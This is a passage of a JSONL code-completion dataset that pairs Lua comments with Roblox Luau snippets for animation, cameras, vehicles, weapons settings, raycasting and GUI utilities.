mouseIconEnabled\n\t\tmouseIconEnabled = nil\n\n\t\tUserInputService.MouseBehavior = mouseBehavior\n\t\tmouseBehavior = nil\n\tend\nend\n\nlocal function StartFreecam()\n\tlocal cameraCFrame = Camera.CFrame\n\tcameraRot = Vector2.new(cameraCFrame:toEulerAnglesYXZ())\n\tcameraPos = cameraCFrame.p\n\tcameraFov = Camera.FieldOfView\n\n\tvelSpring:Reset(Vector3.new())\n\tpanSpring:Reset(Vector2.new())\n\tfovSpring:Reset(0)\n\n\tPlayerState.Push()\n\tRunService:BindToRenderStep(\"Freecam\", Enum.RenderPriority.Camera.Value, StepFreecam)\n\tInput.StartCapture()\nend\n\nlocal function StopFreecam()\n\tInput.StopCapture()\n\tRunService:UnbindFromRenderStep(\"Freecam\")\n\tPlayerState.Pop()\nend\n"} +{"prompt": "------------------\n------------------", "completion": "\n\n\nfunction waitForChild(parent, childName)\n\twhile true do\n\t\tlocal child = parent:findFirstChild(childName)\n\t\tif child then\n\t\t\treturn child\n\t\tend\n\t\tparent.ChildAdded:wait()\n\tend\nend\n\nlocal Figure = script.Parent\nlocal Torso = waitForChild(Figure, \"Torso\")\nlocal RightShoulder = waitForChild(Torso, \"Right Shoulder\")\nlocal LeftShoulder = waitForChild(Torso, \"Left Shoulder\")\nlocal RightHip = waitForChild(Torso, \"Right Hip\")\nlocal LeftHip = waitForChild(Torso, \"Left Hip\")\nlocal Neck = waitForChild(Torso, \"Neck\")\nlocal Humanoid = waitForChild(Figure, \"Zombie\")\nlocal pose = \"Standing\"\n\nlocal toolAnim = \"None\"\nlocal toolAnimTime = 0\n\nlocal isSeated = false\n\n\nfunction onRunning(speed)\n\tif isSeated then return end\n\n\tif speed>0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\n wait(regentime)\n wait(1)\n model:remove()\n model = backup:Clone()\n wait(3)\n model.Parent = game.Workspace\n model:MakeJoints()\nend\n\nfunction onJumping()\n\tisSeated = false\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing()\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tpose = \"FreeFall\"\nend\n\nfunction onDancing()\n\tpose = \"Dancing\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tisSeated = true\n\tpose = \"Seated\"\nend\n\n\n\nfunction moveJump()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = -3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveFreeFall()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1\n\tLeftShoulder.DesiredAngle = -1\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveFloat()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 1.57\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = -1.57\nend\n\nfunction moveBoogy()\nwhile pose==\"Boogy\" do\n\twait(.5)\n\tRightShoulder.MaxVelocity = 1\n\tLeftShoulder.MaxVelocity = 1\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\n\twait(.5)\n\tRightShoulder.MaxVelocity = 1\n\tLeftShoulder.MaxVelocity = 1\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = -3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 1.57\nend\nend\n\nfunction moveZombie()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 1.57\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction movePunch()\n\tscript.Parent.Torso.Anchored=true\n\tRightShoulder.MaxVelocity = 60\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nwait(1)\nscript.Parent.Torso.Anchored=false\npose=\"Standing\"\n\nend\n\nfunction moveKick()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.MaxVelocity = 40\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\nwait(1)\npose=\"Standing\"\n\nend\n\nfunction moveFly()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.MaxVelocity = 40\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\nwait(1)\npose=\"Standing\"\n\nend\n\n\nfunction moveClimb()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = 3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder.DesiredAngle = -3.14 /2\n\tLeftShoulder.DesiredAngle = -3.14 /2\n\tRightHip.DesiredAngle = 3.14 /2\n\tLeftHip.DesiredAngle = -3.14 /2\nend\n\nfunction getTool()\n\t\n\tkidTable = Figure:children()\n\tif (kidTable ~= nil) then\n\t\tnumKids = #kidTable\n\t\tfor i=1,numKids do\n\t\t\tif (kidTable[i].className == \"Tool\") then return kidTable[i] end\n\t\tend\n\tend\n\t\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\n\tc = tool:children()\n\tfor i=1,#c do\n\t\tif (c[i].Name == \"toolanim\" and c[i].className == \"StringValue\") then\n\t\t\treturn c[i]\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tRightShoulder.DesiredAngle = -1.57\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tRightShoulder.DesiredAngle = 0\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tLeftShoulder.MaxVelocity = 0.5\n\t\tRightHip.MaxVelocity = 0.5\n\t\tLeftHip.MaxVelocity = 0.5\n\t\tRightShoulder.DesiredAngle = -1.57\n\t\tLeftShoulder.DesiredAngle = 1.0\n\t\tRightHip.DesiredAngle = 1.57\n\t\tLeftHip.DesiredAngle = 1.0\n\t\treturn\n\tend\nend\n\nfunction move(time)\n\tlocal amplitude\n\tlocal frequency\n\n\tif (pose == \"Jumping\") then\n\t\tmoveJump()\n\t\treturn\n\tend\n\n\tif (pose == \"Zombie\") then\n\t\tmoveZombie()\n\t\treturn\n\tend\n\n\tif (pose == \"Boogy\") then\n\t\tmoveBoogy()\n\t\treturn\n\tend\n\n\tif (pose == \"Float\") then\n\t\tmoveFloat()\n\t\treturn\n\tend\n\n\tif (pose == \"Punch\") then\n\t\tmovePunch()\n\t\treturn\n\tend\n\n\tif (pose == \"Kick\") then\n\t\tmoveKick()\n\t\treturn\n\tend\n\n\tif (pose == \"Fly\") then\n\t\tmoveFly()\n\t\treturn\n\tend\n\n\tif (pose == \"FreeFall\") then\n\t\tmoveFreeFall()\n\t\treturn\n\tend\n\n\tif (pose == \"Climbing\") then\n\t\tmoveClimb()\n\t\treturn\n\tend\n\n\tif (pose == \"Seated\") then\n\t\tmoveSit()\n\t\treturn\n\tend\n\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tif (pose == \"Running\") then\n\t\tamplitude = 1\n\t\tfrequency = 9\n\telseif (pose == \"Dancing\") then\n\t\tamplitude = 2\n\t\tfrequency = 16\n\tend\n\n\n\tdesiredAngle = amplitude * math.sin(time*frequency)\n\tif pose~=\"Dancing\" then\n\t\tRightShoulder.DesiredAngle = -desiredAngle\n\t\tLeftShoulder.DesiredAngle = desiredAngle\n\t\tRightHip.DesiredAngle = -desiredAngle\n\t\tLeftHip.DesiredAngle = -desiredAngle\n\telse\n\t\tRightShoulder.DesiredAngle = desiredAngle\n\t\tLeftShoulder.DesiredAngle = desiredAngle\n\t\tRightHip.DesiredAngle = -desiredAngle\n\t\tLeftHip.DesiredAngle = -desiredAngle\n\tend\n\t\t\n\n\n\tlocal tool = getTool()\n\n\tif tool ~= nil then\n\t\n\t\tanimStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject ~= nil then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time + .3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\n\n\t\t\n\telse\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimTime = 0\n\tend\nend\n\n"} +{"prompt": "--[[ Constants ]]", "completion": "--\nlocal ZERO_VECTOR3 = Vector3.new(0,0,0)\n"} +{"prompt": "--- Sets the text in the command bar text box, and captures focus", "completion": "\nfunction Window:SetEntryText(text)\n\tEntry.TextBox.Text = text\n\n\tif self:IsVisible() then\n\t\tEntry.TextBox:CaptureFocus()\n\t\tEntry.TextBox.CursorPosition = #text + 1\n\tend\nend\n"} +{"prompt": "-- Interaction GUIs prompting user input", "completion": "\nlocal InteractionButton = InteractionGui:WaitForChild(\"InteractionButton\")\n"} +{"prompt": "-- A state object which follows another state object using tweens.", "completion": "\nexport type Tween = StateObject & Dependent & {\n\t-- kind: \"Tween\" (add this when Luau supports singleton types)\n}\n"} +{"prompt": "--// Vars", "completion": "\n\nlocal plr = game.Players.LocalPlayer\n\tlocal char = plr.Character\n\tlocal hum = char.Humanoid\n\nlocal cam = game.Workspace.CurrentCamera\n\nlocal seat = script:WaitForChild(\"VehicleSeat\").Value\n\tlocal BAV = seat.BodyAngularVelocity\n\tlocal BV = seat.BodyVelocity\n\nlocal Storage = seat.Parent.Parent.TankEvents\n\t\n\tlocal idleSound = seat.idleSound\n\tStorage.Sound:FireServer(idleSound, true)\n\tlocal runSound = seat.runSound\n\nlocal Settings = require(seat.Parent.Parent.Settings)\n\nlocal Equipped = true\n\nlocal car = seat.Parent\n\nlocal rs = game:GetService(\"RunService\")\n\trst = rs.RenderStepped\nlocal uis = game:GetService(\"UserInputService\")\n\tlocal ib = uis.InputBegan\n\tlocal ie = uis.InputEnded\n\tlocal jr = uis.JumpRequest\n\nlocal ForwardKeyDown\nlocal BackwardKeyDown\nlocal RightTurnKeyDown\nlocal LeftTurnKeyDown\n\nlocal speed = 0\nlocal maxSpeed = 18\n"} +{"prompt": "-- ROBLOX deviation: omitted isPrimitive import", "completion": "\nlocal jasmineUtils = require(CurrentModule.jasmineUtils)\nlocal equals = jasmineUtils.equals"} +{"prompt": "-- dayLength defines how long, in minutes, a day in your game is. Feel free to alter it.", "completion": "\nlocal dayLength = 7\n\nlocal cycleTime = dayLength*60\nlocal minutesInADay = 24*60\n\nlocal lighting = game:GetService(\"Lighting\")\n\nlocal startTime = tick() - (lighting:getMinutesAfterMidnight() / minutesInADay)*cycleTime\nlocal endTime = startTime + cycleTime\n\nlocal timeRatio = minutesInADay / cycleTime\n\nif dayLength == 0 then\n\tdayLength = 1\nend\n\nrepeat\n\tlocal currentTime = tick()\n\t\n\tif currentTime > endTime then\n\t\tstartTime = endTime\n\t\tendTime = startTime + cycleTime\n\tend\n\t\n\tlighting:setMinutesAfterMidnight((currentTime - startTime)*timeRatio)\n\twait(1/15)\nuntil false\n"} +{"prompt": "-- The maximum distance the can can shoot, this value should never go above 1000", "completion": "\nlocal Range = 200"} +{"prompt": "--// Bullet Physics", "completion": "\n\tBulletPhysics = Vector3.new(0,45,0); -- Drop fixation: Lower number = more drop\n\tBulletSpeed = 2000; -- Bullet Speed\n\t\n\tExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds\n\tExploSpeed = 600; -- Speed for explosive rounds\n\t"} +{"prompt": "-- Functional Services", "completion": "\nuis = game:GetService(\"UserInputService\")\nrs = game:GetService(\"RunService\")\ntween = game:GetService(\"TweenService\")\n"} +{"prompt": "-- Example test-code here. Put the following code in a localscript inside a screengui with this module.\n--[[\n\n\n\nlocal confettiModule = require(script.Parent:WaitForChild('ConfettiModule'))\n\nwhile true do\n\tconfettiModule.Explode(Vector2.new(300,150), 50)\n\twait(.5)\n\tconfettiModule.Explode(Vector2.new(500,150), 50)\n\twait(.5)\n\tconfettiModule.Explode(Vector2.new(700,150), 50)\n\twait(5)\n\tconfettiModule.Rain(100)\n\twait(5)\nend\n\n\n\n]]", "completion": "\n\n\n\n\n"} +{"prompt": "--Made by Haustier and Luckymaxer", "completion": "\nlocal humanoid = script.Parent.Humanoid\nlocal head = script.Parent.Head\nlocal walkDistance = 20 --radius\nlocal detectionDistance = 20\n\nfunction walkBackAndForth()\n\twhile wait() do\n\t\tlocal targetPos = head.CFrame * CFrame.new(0, 0, -walkDistance)\n\t\ttargetPos = Vector3.new(targetPos.X, targetPos.Y, targetPos.Z)\n\t\thumanoid:MoveTo(targetPos)\n\t\tlocal counter = 0\n\t\trepeat\n\t\t\twait()\n\t\t\tcounter = counter + 1\n\t\t\tif counter >= 100 then\n\t\t\t\tbreak\n\t\t\tend\n\t\tuntil (head.Position - targetPos).magnitude <= 2\n\t\twalkDistance = -walkDistance\n\tend\nend\n\nwalkBackAndForth()\n"} +{"prompt": "--// SS3 controls for AC6 by Itzt, originally for 2014 Infiniti QX80. i don't know how to tune ac lol", "completion": "\n \nwait(0.1)\nlocal player = game.Players.LocalPlayer\nlocal HUB = script.Parent.HUB\nlocal HUB2 = script.Parent.HUB2\nlocal limitButton = HUB.Name\nlocal FE = game.Workspace.FilteringEnabled\nlocal lightOn = false\nlocal Camera = game.Workspace.CurrentCamera\nlocal cam = script.Parent.nxtcam.Value\nlocal carSeat = script.Parent.CarSeat.Value\nlocal mouse = game.Players.LocalPlayer:GetMouse()\nlocal windows = false\nlocal handler = carSeat:WaitForChild('Filter')\nlocal winfob = HUB.Parent.Music\nlocal pal = false\nlocal palpal = HUB.Parent.Palette\nlocal red = 0\nlocal green = 0\nlocal blue = 1\nlocal debounce = false\n\nlocal scr = false\n\n\nlocal st = false"} +{"prompt": "--[[function GAReporter:sendPageView(...)\n\tassert(self.trackingId ~= \"UA-00000000-00\", \"YOU HAVE NOT YET SET YOUR GOOGLE ANALYTICS TRACKING ID\")\n\t-- look this up : https://developers.google.com/analytics/devguides/collection/protocol/v1/parameters\nend]]", "completion": "\n\nreturn GAReporter\n"} +{"prompt": "-- SETTINGS ----------------------------------", "completion": "\nlocal timeToRespawn = 60\nlocal allowDamage = true"} +{"prompt": "--These scripts are not mine, I just simply edited them.", "completion": "\n\n\n"} +{"prompt": "--[[**\n\tensures Roblox Color3 type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.Color3 = primitive(\"Color3\")\n"} +{"prompt": "-- functions", "completion": "\n\nfunction onRunning(speed)\n\tif speed>0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing()\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n\nfunction moveJump()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 3.14\n\tLeftShoulder.DesiredAngle = -3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\n"} +{"prompt": "-- This is called when settings menu is opened", "completion": "\nfunction BaseCamera:ResetInputStates()\n\tself.isRightMouseDown = false\n\tself.isMiddleMouseDown = false\n\tself:OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters\n\n\tif UserInputService.TouchEnabled then\n\t\t--[[menu opening was causing serious touch issues\n\t\tthis should disable all active touch events if\n\t\tthey're active when menu opens.]]\n\t\tfor inputObject in pairs(self.fingerTouches) do\n\t\t\tself.fingerTouches[inputObject] = nil\n\t\tend\n\t\tself.dynamicTouchInput = nil\n\t\tself.panBeginLook = nil\n\t\tself.startPos = nil\n\t\tself.lastPos = nil\n\t\tself.userPanningTheCamera = false\n\t\tself.startingDiff = nil\n\t\tself.pinchBeginZoom = nil\n\t\tself.numUnsunkTouches = 0\n\tend\nend\n\nfunction BaseCamera:GetGamepadPan(name, state, input)\n\tif input.UserInputType == self.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then"} +{"prompt": "--- Creates raycast points using only vector3 values.\n-- @param object BasePart or Bone, the part you want the points to be locally offset from\n-- @param table of vector3 values that are in local space relative to the basePart or bone\n-- @param optional group string parameter that names the group these points belong to", "completion": "\nfunction Hitbox:SetPoints(object: BasePart | Bone, vectorPoints: {[number]: Vector3}, group: string?)\n\tfor _: number, vector: Vector3 in ipairs(vectorPoints) do\n\t\tlocal point: Point = self:_CreatePoint(group, Hitbox.CastModes[object:IsA(\"Bone\") and \"Bone\" or \"Vector3\"])\n\n\t\tpoint.Instances[1] = object\n\t\tpoint.Instances[2] = vector\n\t\ttable.insert(self.HitboxRaycastPoints, point)\n\tend\nend\n"} +{"prompt": "--// UI Tween Info", "completion": "\nlocal L_157_ = TweenInfo.new(\n\t1,\n\tEnum.EasingStyle.Sine,\n\tEnum.EasingDirection.Out,\n\t0,\n\tfalse,\n\t0\n)\n\nlocal L_158_ = {\n\tTextTransparency = 1\n}\n\n\n"} +{"prompt": "-- A symbol that represents the absence of a value.", "completion": "\nexport type None = PubTypes.Symbol & {\n\t-- name: \"None\" (add this when Luau supports singleton types)\n}\n"} +{"prompt": "-- Class ", "completion": "\n\nlocal ViewportWindow = {}\nViewportWindow.__index = ViewportWindow\n"} +{"prompt": "-- In radian the maximum accuracy penalty", "completion": "\nlocal MaxSpread = 0"} +{"prompt": "-- main program", "completion": "\n\nlocal nextTime = 0\nlocal runService = game:service(\"RunService\");\n\nwhile Figure.Parent~=nil do\n\ttime = runService.Stepped:wait()\n\tif time > nextTime then\n\t\tmove(time)\n\t\tnextTime = time + 0.1\n\tend\nend\n"} +{"prompt": "-- / Animations / --", "completion": "\nlocal SwingAnimation = script:WaitForChild(\"SwingAnimation\")\n"} +{"prompt": "-- Preload music tracks", "completion": "\nAudioPlayerModule.preloadAudio({\n\t[\"Main_Background_Theme\"] = 1836038596,\n})\n "} +{"prompt": "--Returns hit, position, normal, time", "completion": "\nfunction raycast(model, start, vector, brickFunction)\n\tlocal hit, normal, time = raycastRecursive(model, start, vector, brickFunction, vector.unit, dot(start, vector.unit))\n\tif (dot(normal, vector) > 0) then\n\t\tnormal = -normal\n\tend\n\treturn hit, start + time * vector, normal.unit, time\nend\nfunction raycastRecursive(model, start, vector, brickFunction, unitVec, startDist)\n\tif (model.className == \"Part\") or (model.className == \"Seat\") or (model.className ==\"SpawnLocation\") then\n\t\tlocal range = model.Size.magnitude / 2\n\t\tlocal dist = dot(model.Position, unitVec) - startDist\n\t\tif (dist + range > 0) and (dist - range < vector.magnitude) and ((dist * unitVec + start - model.Position).magnitude < range) and brickFunction(model) then\n\t\t\tlocal halfSize = model.Size / 2\n\t\t\tif (model.Shape == Enum.PartType.Ball) then\n\t\t\t\tlocal time, timeMax = getLineSphereCollide(start, vector, model.Position, halfSize.x)\n\t\t\t\tif (time < 1) and (time >= 0) then\n\t\t\t\t\treturn model, (time * vector + start - model.Position), time\n\t\t\t\telse\n\t\t\t\t\treturn nil, Vector3.new(0, 0, 0), 1\n\t\t\t\tend\n\t\t\telseif (model.Shape == Enum.PartType.Block) then\n\t\t\t\tlocal time = 1\n\t\t\t\tlocal cf = model.CFrame - model.Position\n\t\t\t\tlocal xvec = cf * Vector3.new(1, 0, 0)\n\t\t\t\tlocal yvec = cf * Vector3.new(0, 1, 0)\n\t\t\t\tlocal zvec = cf * Vector3.new(0, 0, 1)\n\t\t\t\tlocal xspd = -dot(xvec, vector)\n\t\t\t\tlocal yspd = -dot(yvec, vector)\n\t\t\t\tlocal zspd = -dot(zvec, vector)\n\t\t\t\tlocal xmin, xmax, ymin, ymax, zmin, zmax = -1\n\t\t\t\tlocal dotProd = dot(xvec, start - model.Position)\n\t\t\t\tif (xspd ~= 0) then\n\t\t\t\t\txmin = (dotProd - halfSize.x) / xspd\n\t\t\t\t\txmax = (dotProd + halfSize.x) / xspd\n\t\t\t\t\tif (xmax < xmin) then\n\t\t\t\t\t\tlocal swap = xmin\n\t\t\t\t\t\txmin = xmax\n\t\t\t\t\t\txmax = swap\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tif (math.abs(dotProd) < halfSize.x) then\n\t\t\t\t\t\txmax = 1\n\t\t\t\t\t\txmin = 0\n\t\t\t\t\telse\n\t\t\t\t\t\treturn nil, Vector3.new(0, 0, 0), 1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tlocal dotProd = dot(yvec, start - model.Position)\n\t\t\t\tif (yspd ~= 0) then\n\t\t\t\t\tymin = (dotProd - halfSize.y) / yspd\n\t\t\t\t\tymax = (dotProd + halfSize.y) / yspd\n\t\t\t\t\tif (ymax < ymin) then\n\t\t\t\t\t\tlocal swap = ymin\n\t\t\t\t\t\tymin = ymax\n\t\t\t\t\t\tymax = swap\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tif (math.abs(dotProd) < halfSize.y) then\n\t\t\t\t\t\tymax = 1\n\t\t\t\t\t\tymin = 0\n\t\t\t\t\telse\n\t\t\t\t\t\treturn nil, Vector3.new(0, 0, 0), 1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tlocal dotProd = dot(zvec, start - model.Position)\n\t\t\t\tif (zspd ~= 0) then\n\t\t\t\t\tzmin = (dotProd - halfSize.z) / zspd\n\t\t\t\t\tzmax = (dotProd + halfSize.z) / zspd\n\t\t\t\t\tif (zmax < zmin) then\n\t\t\t\t\t\tlocal swap = zmin\n\t\t\t\t\t\tzmin = zmax\n\t\t\t\t\t\tzmax = swap\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tif (math.abs(dotProd) < halfSize.z) then\n\t\t\t\t\t\tzmax = 1\n\t\t\t\t\t\tzmin = 0\n\t\t\t\t\telse\n\t\t\t\t\t\treturn nil, Vector3.new(0, 0, 0), 1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif (xmin <= ymax) and (xmax >= ymin) and (xmin <= zmax) and (xmax >= zmin) and (zmin <= ymax) and (zmax >= ymin) then\n\t\t\t\t\tlocal normal = xvec\n\t\t\t\t\tlocal min = xmin\n\t\t\t\t\tif (ymin > min) then\n\t\t\t\t\t\tmin = ymin\n\t\t\t\t\t\tnormal = yvec\n\t\t\t\t\tend\n\t\t\t\t\tif (zmin > min) then\n\t\t\t\t\t\tmin = zmin\n\t\t\t\t\t\tnormal = zvec\n\t\t\t\t\tend\n\t\t\t\t\tif (min >= 0) and (min < 1) then\n\t\t\t\t\t\ttime = min\n\t\t\t\t\telseif (xmax > 0) and (ymax > 0) and (zmax > 0) and (min < 0) then\n\t\t\t\t\t\ttime = 0\n\t\t\t\t\t\tnormal = Vector3.new(0, 0, 0)\n\t\t\t\t\tend\n\t\t\t\t\treturn model, normal, time\n\t\t\t\telse\n\t\t\t\t\treturn nil, Vector3.new(0, 0, 0), 1\n\t\t\t\tend\n\t\t\telse\t--\tCylinder\n\t\t\t\tlocal time = 1\n\t\t\t\tlocal cf = model.CFrame - model.Position\n\t\t\t\tlocal xvec = cf * Vector3.new(1, 0, 0)\n\t\t\t\tlocal xspd = -dot(xvec, vector)\n\t\t\t\tlocal xmin, xmax = -1\n\t\t\t\tlocal dotProd = dot(xvec, start - model.Position)\n\t\t\t\tif (xspd ~= 0) then\n\t\t\t\t\txmin = (dotProd - halfSize.x) / xspd\n\t\t\t\t\txmax = (dotProd + halfSize.x) / xspd\n\t\t\t\t\tif (xmax < xmin) then\n\t\t\t\t\t\tlocal swap = xmin\n\t\t\t\t\t\txmin = xmax\n\t\t\t\t\t\txmax = swap\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tif (math.abs(dotProd) < halfSize.x) then\n\t\t\t\t\t\txmax = 1\n\t\t\t\t\t\txmin = 0\n\t\t\t\t\telse\n\t\t\t\t\t\treturn nil, Vector3.new(0, 0, 0), 1\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tlocal relVec = cf:pointToObjectSpace(vector) * Vector3.new(0, 1, 1)\n\t\t\t\tlocal relPos = model.CFrame:pointToObjectSpace(start) * Vector3.new(0, 1, 1)\n\t\t\t\tlocal rmin, rmax = getLineSphereCollide(relPos, relVec, Vector3.new(0, 0, 0), halfSize.y)\n\t\t\t\tif (xmin <= rmax) and (xmax >= rmin) and (rmax > 0) then\n\t\t\t\t\tlocal normal = xvec\n\t\t\t\t\tlocal min = xmin\n\t\t\t\t\tif (rmin > min) then\n\t\t\t\t\t\tmin = rmin\n\t\t\t\t\t\tnormal = cf * (relPos + relVec * min)\n\t\t\t\t\tend\n\t\t\t\t\tif (min >= 0) and (min < 1) then\n\t\t\t\t\t\ttime = min\n\t\t\t\t\telseif (xmax > 0) and (rmax > 0) and (min < 0) then\n\t\t\t\t\t\ttime = 0\n\t\t\t\t\t\tnormal = Vector3.new(0, 0, 0)\n\t\t\t\t\tend\n\t\t\t\t\treturn model, normal, time\n\t\t\t\telse\n\t\t\t\t\treturn nil, Vector3.new(0, 0, 0), 1\n\t\t\t\tend\n\t\t\t\treturn nil, Vector3.new(0, 0, 0), 1\n\t\t\tend\n\t\tend\n\t\treturn nil, Vector3.new(0, 0, 0), 1\n\telseif (model.className==\"Model\") or (model.className==\"Workspace\") or (model.className==\"Hat\") or (model.className == \"Tool\") then\n\t\tlocal children=model:GetChildren()\n\t\tlocal time=1\n\t\tlocal normal=Vector3.new(0, 0, 0)\n\t\tlocal hit=nil\n\t\tfor n = 1, #children do\n\t\t\tif children[n]~= nil then\n\t\t\t\tlocal newHit, newNormal, newTime = raycastRecursive(children[n], start, vector, brickFunction, unitVec, startDist)\n\t\t\t\tif (newTime < time) then\n\t\t\t\t\ttime = newTime\n\t\t\t\t\thit = newHit\n\t\t\t\t\tnormal = newNormal\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn hit, normal, time\n\telse\n\t\treturn nil, Vector3.new(0, 0, 0), 1\n\tend\nend"} +{"prompt": "--[[\n\tReturns all ScreenGui objects shown that are not a part of this dev module\n\n\tReturns:\n\tAn array of ScreenGuis that are Enabled\n]]", "completion": "\nfunction GuiController:_getOtherScreenGuis(): { ScreenGui }\n\tlocal otherScreenGuis = Cryo.List.filter(self.player.PlayerGui:GetDescendants(), function(instance)\n\t\treturn instance:IsA(\"ScreenGui\") and not self:_isModuleScreenGui(instance) and instance.Enabled\n\tend)\n\n\treturn otherScreenGuis\nend\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = require(game.ReplicatedStorage:WaitForChild(\"Resources\"));\nwhile not v1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nv1.Network.Invoked(\"Get Pet Positions\").OnInvoke = function(p1)\n\tlocal v2 = {};\n\n\t\tfor v3, v4 in ipairs(p1) do\n\t\tif not v3 then\n\t\t\tbreak;\n\t\tend;\n\t\tlocal v6 = v1.Debris.Pets:FindFirstChild(v4);\n\t\tif v6 then\n\t\t\tv2[v4] = v6.CFrame.p;\n\t\tend;\t\n\tend;\n\treturn v2;\nend;\n\n"} +{"prompt": "-------------------------------------------------------------------------------------", "completion": "\n\nLoader:updateModel(Model, Config.userId.Value)\n\nif Config.AutoUpdateCharacter.Value then\n\twhile wait(Config.AutoUpdateCharacter.Delay.Value) do\n\t\tLoader:updateModel(Model, Config.userId.Value)\n\tend\nend\n"} +{"prompt": "--> SERVICES", "completion": "\nlocal TweenService = game:GetService(\"TweenService\")\n"} +{"prompt": "--Services", "completion": "\nlocal ServerStorage = game:GetService(\"ServerStorage\")\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\n"} +{"prompt": "--[[\n\tProvides various properties for cchecking if the user is interfacing with a\n\tkeyboard, gamepad, or touch-enabled device.\n]]", "completion": "\n\nlocal GuiService = game:GetService(\"GuiService\")\nlocal UserInputService = game:GetService(\"UserInputService\")\n\nlocal Cryo = 